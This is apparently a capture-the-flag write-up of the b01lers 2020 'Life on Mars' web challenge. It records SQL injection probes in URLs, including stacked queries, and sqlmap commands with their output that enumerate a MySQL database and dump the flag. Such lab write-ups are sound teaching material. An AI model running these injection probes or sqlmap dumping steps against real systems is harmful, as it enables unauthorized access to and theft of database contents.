b01lers 2020 Life on Mars

Saturday, March 7, 2020 12:16 PM

http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia,arabia_terra
2

http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia,arabia_terra,hesperia_planum
2

http://web.ctf.b01lers.com:1001/query?search=x
1

```
amazonis_planitia
olympus_mons
tharsis_rise
chryse_planitia
arabia_terra
noachis_terra
hellas_basin
utopia_basin
hesperia_planum
```

http://web.ctf.b01lers.com:1001/query?search=a.$
2

http://web.ctf.b01lers.com:1001/query?search=a,$
1

a.$ a._ a.<number> a.<letter> all give 2

any string repeated with a comma in the middle also gives a 2
frog,frog   zala,zala etc...

any two of the mars names separated by a comma also gives 2

I'm stuck on **mars** and am moving on. Here are my notes in case they help anyone:
```
1. http://web.ctf.b01lers.com:1001/query?search=tharsis_rise return JSON
2. total of 9 mars terms that all return different json
3. http://web.ctf.b01lers.com:1001/query?search=garbage returns "1\n" (with a content-type of json)
4. Some things return a "2\n"
 - most strings repeated with a comma in-between (e.g. frog,frog  blah,blah)
 - most strings with a single period inside of it (e.g. one.two)
 - any 2 of the mars names separated by a comma (e.g. amazonis_planitia,arabia_terra)```
```

<marsname><space><anytext> returns the JSON
<marsname><space><anytext><space><anytext> does not

BUT:

http://web.ctf.b01lers.com:1001/query?search=noachis_terra%20xy%20--%20x

returns the JSON

http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia%20xamazonis_planitia;%20select%201%20from%20dual

returns the JSON

but http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia%20xamazonis_planitia;%20select%201%20from%20duaXl

does not (dual vs. duaXl)

SO there is definitely some database stuff happening.

In Kali:

```
 sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia
```

says it is

```
[11:10:50] [INFO] the back-end DBMS is MySQL
```

I then found a tutorial on sqlmap and used it as follows:

```
sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia --tables
```

```
[11:34:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[11:34:58] [INFO] fetching database names
[11:34:58] [INFO] fetching tables for databases: 'alien_code, aliens, information_schema'
Database: aliens
[9 tables]
+---------------------------------------+
| amazonis_planitia                     |
| arabia_terra                          |
| chryse_planitia                       |
| hellas_basin                          |
| hesperia_planum                       |
| noachis_terra                         |
| olympus_mons                          |
| tharsis_rise                          |
| utopia_basin                          |
+---------------------------------------+

Database: alien_code
```

```
[1 table]
+---------------------------------------+
| code                                  |
+---------------------------------------+

Database: information_schema
[61 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_DATAFILES                  |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TEMP_TABLE_INFO                |
| INNODB_TRX                            |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+
```

```
sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia --tables -D alien_code -T code --columns
```

```
Database: alien_code
[1 table]
+------+
| code |
+------+

[11:36:01] [INFO] fetching columns for table 'code' in database 'alien_code'
Database: alien_code
Table: code
[2 columns]
+--------+---------------+
| Column | Type          |
+--------+---------------+
| code   | varchar(1000) |
| id     | smallint(6)   |
+--------+---------------+
```

```
sqlmap -u http://web.ctf.b01lers.com:1001/query?search=amazonis_planitia --tables -D alien_code -T code -C code,id --dump
```

```
[11:37:22] [INFO] fetching entries of column(s) 'code, id' for table 'code' in database 'alien_code'
Database: alien_code
Table: code
[1 entry]
+--------------------------------+----+
| code                           | id |
+--------------------------------+----+
| pctf{no_intelligent_life_here} | 0  |
+--------------------------------+----+
```